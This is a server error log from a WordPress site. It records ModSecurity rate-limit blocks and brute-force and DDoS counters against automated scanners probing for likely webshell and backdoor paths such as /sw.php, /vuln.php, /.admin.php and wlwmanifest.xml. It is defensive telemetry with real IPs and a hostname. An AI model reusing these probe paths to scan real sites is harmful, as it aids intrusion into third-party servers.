[Tue Apr 21 15:35:57.059316 2026] [proxy_fcgi:error] [pid 53832:tid 53849] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:57.353420 2026] [proxy_fcgi:error] [pid 53832:tid 53847] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:57.628325 2026] [proxy_fcgi:error] [pid 53832:tid 53851] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:57.917406 2026] [proxy_fcgi:error] [pid 53832:tid 53837] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:58.204325 2026] [proxy_fcgi:error] [pid 53832:tid 53849] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:58.530802 2026] [proxy_fcgi:error] [pid 53832:tid 53843] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:58.807298 2026] [proxy_fcgi:error] [pid 53832:tid 53854] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:59.092313 2026] [proxy_fcgi:error] [pid 53832:tid 53840] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:59.371315 2026] [proxy_fcgi:error] [pid 53832:tid 53850] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:59.669397 2026] [proxy_fcgi:error] [pid 53832:tid 53847] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:35:59.945573 2026] [proxy_fcgi:error] [pid 53832:tid 53839] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:00.991310 2026] [proxy_fcgi:error] [pid 53832:tid 53854] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:02.111309 2026] [proxy_fcgi:error] [pid 53832:tid 53846] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:02.422461 2026] [proxy_fcgi:error] [pid 53832:tid 53850] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:02.741296 2026] [proxy_fcgi:error] [pid 53832:tid 53841] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:03.027529 2026] [proxy_fcgi:error] [pid 53832:tid 53839] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:03.321459 2026] [proxy_fcgi:error] [pid 53832:tid 53858] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:03.593130 2026] [proxy_fcgi:error] [pid 53832:tid 53856] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:03.871361 2026] [proxy_fcgi:error] [pid 53832:tid 53853] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:04.168406 2026] [proxy_fcgi:error] [pid 53832:tid 53854] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:04.450312 2026] [proxy_fcgi:error] [pid 53832:tid 53839] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:04.722768 2026] [proxy_fcgi:error] [pid 53832:tid 53856] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:05.007342 2026] [proxy_fcgi:error] [pid 53832:tid 53852] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:05.299351 2026] [proxy_fcgi:error] [pid 53832:tid 53842] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:05.576461 2026] [proxy_fcgi:error] [pid 53832:tid 53847] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:05.863258 2026] [proxy_fcgi:error] [pid 53832:tid 53845] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:06.139287 2026] [proxy_fcgi:error] [pid 53832:tid 53842] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:06.431091 2026] [proxy_fcgi:error] [pid 53832:tid 53851] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:06.710326 2026] [proxy_fcgi:error] [pid 53832:tid 53835] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:06.988312 2026] [proxy_fcgi:error] [pid 53832:tid 53852] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:07.280598 2026] [proxy_fcgi:error] [pid 53832:tid 53847] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:07.580348 2026] [proxy_fcgi:error] [pid 53832:tid 53845] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:07.901787 2026] [proxy_fcgi:error] [pid 53832:tid 53856] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:08.272322 2026] [proxy_fcgi:error] [pid 53832:tid 53849] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:08.556417 2026] [proxy_fcgi:error] [pid 53832:tid 53851] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:08.849810 2026] [proxy_fcgi:error] [pid 53832:tid 53859] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:09.122597 2026] [proxy_fcgi:error] [pid 53832:tid 53844] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:09.441371 2026] [proxy_fcgi:error] [pid 53832:tid 53849] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:09.725456 2026] [proxy_fcgi:error] [pid 53832:tid 53855] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:10.017971 2026] [proxy_fcgi:error] [pid 53832:tid 53845] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:10.337334 2026] [proxy_fcgi:error] [pid 53832:tid 53856] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:10.642321 2026] [proxy_fcgi:error] [pid 53832:tid 53854] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:10.917030 2026] [proxy_fcgi:error] [pid 53832:tid 53847] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:11.212306 2026] [proxy_fcgi:error] [pid 53832:tid 53845] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:11.514298 2026] [proxy_fcgi:error] [pid 53832:tid 53844] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:25.312338 2026] [proxy_fcgi:error] [pid 53832:tid 53858] [client 45.86.200.213:41371] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:31.219591 2026] [proxy_fcgi:error] [pid 53832:tid 53848] [client 45.86.200.246:47931] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 15:36:50.459415 2026] [:error] [pid 53832:tid 53843] [client 45.86.200.246:47931] [client 45.86.200.246] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/Avada/includes/"] [unique_id "aecpEtzkuxsE_OhM9UIUHwAAAkg"]
[Tue Apr 21 15:38:05.954289 2026] [:error] [pid 35415:tid 35434] [client 45.86.200.240:39845] [client 45.86.200.240] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/css/dist/nux/"] [unique_id "aecpXUiqDinI4_22zzhYdAAAAMc"]
[Tue Apr 21 15:38:41.580464 2026] [:error] [pid 4823:tid 4872] [client 185.82.72.104:47145] [client 185.82.72.104] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/local/"] [unique_id "aecpgfc8mke3PfHqsxG9lQAAAZM"]
[Tue Apr 21 16:11:09.793586 2026] [:error] [pid 35321:tid 35392] [client 35.185.91.137:62276] [client 35.185.91.137] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.185.91.137, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aecxHTeHLhVUuu8cVXzV2QAAAEg"]
[Tue Apr 21 16:11:09.805510 2026] [proxy_fcgi:error] [pid 35321:tid 35392] [client 35.185.91.137:62276] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 16:11:12.629445 2026] [:error] [pid 35321:tid 35399] [client 35.185.91.137:62276] [client 35.185.91.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "aecxIDeHLhVUuu8cVXzV7wAAAE8"]
[Tue Apr 21 16:11:13.099872 2026] [:error] [pid 35321:tid 35393] [client 35.185.91.137:63998] [client 35.185.91.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "aecxITeHLhVUuu8cVXzV9AAAAEk"]
[Tue Apr 21 16:11:13.568212 2026] [:error] [pid 53731:tid 53760] [client 35.185.91.137:60696] [client 35.185.91.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/media/wp-includes/wlwmanifest.xml"] [unique_id "aecxIV2I9THUR-bRVGzkOAAAAhg"]
[Tue Apr 21 16:11:14.039339 2026] [:error] [pid 53832:tid 53847] [client 35.185.91.137:60653] [client 35.185.91.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp2/wp-includes/wlwmanifest.xml"] [unique_id "aecxItzkuxsE_OhM9UI2hAAAAkw"]
[Tue Apr 21 16:11:14.505994 2026] [:error] [pid 53731:tid 53746] [client 35.185.91.137:54698] [client 35.185.91.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/site/wp-includes/wlwmanifest.xml"] [unique_id "aecxIl2I9THUR-bRVGzkPQAAAgs"]
[Tue Apr 21 16:11:14.972502 2026] [:error] [pid 53832:tid 53839] [client 35.185.91.137:62113] [client 35.185.91.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/cms/wp-includes/wlwmanifest.xml"] [unique_id "aecxItzkuxsE_OhM9UI2hwAAAkQ"]
[Tue Apr 21 16:11:15.469446 2026] [:error] [pid 35322:tid 35381] [client 35.185.91.137:51909] [client 35.185.91.137] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/sito/wp-includes/wlwmanifest.xml"] [unique_id "aecxI6PoAfV40BTfVKzJeAAAAJg"]
[Tue Apr 21 16:55:49.792399 2026] [:error] [pid 53731:tid 53746] [client 170.64.159.39:55959] [client 170.64.159.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 170.64.159.39, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aec7lV2I9THUR-bRVGzyYAAAAgs"]
[Tue Apr 21 16:55:49.804355 2026] [proxy_fcgi:error] [pid 53731:tid 53746] [client 170.64.159.39:55959] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:56:54.920418 2026] [proxy_fcgi:error] [pid 35321:tid 35397] [client 20.199.181.135:55859] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:56:55.159797 2026] [proxy_fcgi:error] [pid 35321:tid 35395] [client 20.199.181.135:55859] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:56:55.403473 2026] [proxy_fcgi:error] [pid 35321:tid 35386] [client 20.199.181.135:55859] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:56:55.646521 2026] [proxy_fcgi:error] [pid 35321:tid 35403] [client 20.199.181.135:55859] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:56:55.886831 2026] [proxy_fcgi:error] [pid 35321:tid 35401] [client 20.199.181.135:55859] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:56:56.126427 2026] [proxy_fcgi:error] [pid 35321:tid 35392] [client 20.199.181.135:55859] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:56:56.365512 2026] [proxy_fcgi:error] [pid 35321:tid 35391] [client 20.199.181.135:55859] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:56:56.605129 2026] [proxy_fcgi:error] [pid 35321:tid 35389] [client 20.199.181.135:55859] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:56:56.845525 2026] [proxy_fcgi:error] [pid 35321:tid 35395] [client 20.199.181.135:55859] AH01071: Got error 'Primary script unknown'
[Tue Apr 21 17:56:57.760120 2026] [:error] [pid 35321:tid 35403] [client 20.199.181.135:55859] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.dj/index.php"] [unique_id "aedJ6TeHLhVUuu8cVXwQkQAAAFM"]
[Tue Apr 21 17:56:58.232739 2026] [:error] [pid 53832:tid 53853] [client 20.199.181.135:5959] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.dj/index.php"] [unique_id "aedJ6tzkuxsE_OhM9UJNlAAAAlI"]
[Tue Apr 21 17:56:58.704298 2026] [:error] [pid 35320:tid 35341] [client 20.199.181.135:49326] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.dj/index.php"] [unique_id "aedJ6oJW6fdXWO6agMFk1QAAAAs"]
[Tue Apr 21 17:56:59.177456 2026] [:error] [pid 35321:tid 35387] [client 20.199.181.135:49086] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.dj/index.php"] [unique_id "aedJ6zeHLhVUuu8cVXwQlgAAAEM"]
[Tue Apr 21 17:56:59.649991 2026] [:error] [pid 35320:tid 35351] [client 20.199.181.135:5289] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aedJ64JW6fdXWO6agMFk1wAAABU"]
[Tue Apr 21 17:57:00.121727 2026] [:error] [pid 35320:tid 35332] [client 20.199.181.135:5307] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aedJ7IJW6fdXWO6agMFk2QAAAAI"]
[Tue Apr 21 17:57:00.593916 2026] [:error] [pid 35320:tid 35340] [client 20.199.181.135:15679] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aedJ7IJW6fdXWO6agMFk3QAAAAo"]
[Tue Apr 21 17:57:01.065468 2026] [:error] [pid 35320:tid 35353] [client 20.199.181.135:15630] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aedJ7YJW6fdXWO6agMFk3wAAABc"]
[Tue Apr 21 17:57:01.537459 2026] [:error] [pid 54080:tid 54085] [client 20.199.181.135:5983] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.tmb/"] [unique_id "aedJ7YzEbQHHxtmWbaaOPQAAAsM"]
[Tue Apr 21 17:57:02.010867 2026] [:error] [pid 53978:tid 53996] [client 20.199.181.135:49074] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.tmb/"] [unique_id "aedJ7p1ivsR4hcOSQbbqZgAAApA"]
[Tue Apr 21 17:57:02.483210 2026] [:error] [pid 53731:tid 53753] [client 20.199.181.135:55815] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.tmb/"] [unique_id "aedJ7l2I9THUR-bRVGwgUwAAAhE"]
[Tue Apr 21 17:57:02.955274 2026] [:error] [pid 53978:tid 53985] [client 20.199.181.135:5968] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.tmb/"] [unique_id "aedJ7p1ivsR4hcOSQbbqZwAAAoU"]
[Tue Apr 21 17:57:03.426342 2026] [:error] [pid 35321:tid 35400] [client 20.199.181.135:5977] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.admin.php"] [unique_id "aedJ7zeHLhVUuu8cVXwQoAAAAFA"]
[Tue Apr 21 17:57:03.898318 2026] [:error] [pid 4823:tid 4860] [client 20.199.181.135:55817] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.admin.php"] [unique_id "aedJ7_c8mke3PfHqsxHligAAAYc"]
[Tue Apr 21 17:57:04.369764 2026] [:error] [pid 35322:tid 35370] [client 20.199.181.135:15619] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.admin.php"] [unique_id "aedJ8KPoAfV40BTfVKzQKQAAAI0"]
[Tue Apr 21 17:57:04.840948 2026] [:error] [pid 53978:tid 53984] [client 20.199.181.135:5266] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/.admin.php"] [unique_id "aedJ8J1ivsR4hcOSQbbqawAAAoQ"]
[Tue Apr 21 17:57:05.314061 2026] [:error] [pid 35321:tid 35385] [client 20.199.181.135:60875] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sw.php"] [unique_id "aedJ8TeHLhVUuu8cVXwQogAAAEE"]
[Tue Apr 21 17:57:05.785487 2026] [:error] [pid 35321:tid 35403] [client 20.199.181.135:55860] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sw.php"] [unique_id "aedJ8TeHLhVUuu8cVXwQqgAAAFM"]
[Tue Apr 21 17:57:06.257726 2026] [:error] [pid 53731:tid 53746] [client 20.199.181.135:55830] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sw.php"] [unique_id "aedJ8l2I9THUR-bRVGwgWQAAAgs"]
[Tue Apr 21 17:57:06.730832 2026] [:error] [pid 35321:tid 35406] [client 20.199.181.135:49332] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sw.php"] [unique_id "aedJ8jeHLhVUuu8cVXwQsAAAAFY"]
[Tue Apr 21 17:57:07.209298 2026] [:error] [pid 35321:tid 35398] [client 20.199.181.135:15616] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vuln.php"] [unique_id "aedJ8zeHLhVUuu8cVXwQtAAAAE4"]
[Tue Apr 21 17:57:07.680111 2026] [:error] [pid 35321:tid 35393] [client 20.199.181.135:60866] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vuln.php"] [unique_id "aedJ8zeHLhVUuu8cVXwQtwAAAEk"]
[Tue Apr 21 17:57:08.151643 2026] [:error] [pid 35321:tid 35402] [client 20.199.181.135:5954] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vuln.php"] [unique_id "aedJ9DeHLhVUuu8cVXwQvQAAAFI"]
[Tue Apr 21 17:57:08.624184 2026] [:error] [pid 35321:tid 35392] [client 20.199.181.135:6001] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/vuln.php"] [unique_id "aedJ9DeHLhVUuu8cVXwQwQAAAEg"]
[Tue Apr 21 17:57:09.103978 2026] [:error] [pid 35321:tid 35394] [client 20.199.181.135:60878] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-temp.php"] [unique_id "aedJ9TeHLhVUuu8cVXwQxQAAAEo"]
[Tue Apr 21 17:57:09.573964 2026] [:error] [pid 35321:tid 35401] [client 20.199.181.135:5267] [client 20.199.181.135] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-temp.php"] [unique_id "aedJ9TeHLhVUuu8cVXwQyQAAAFE"]
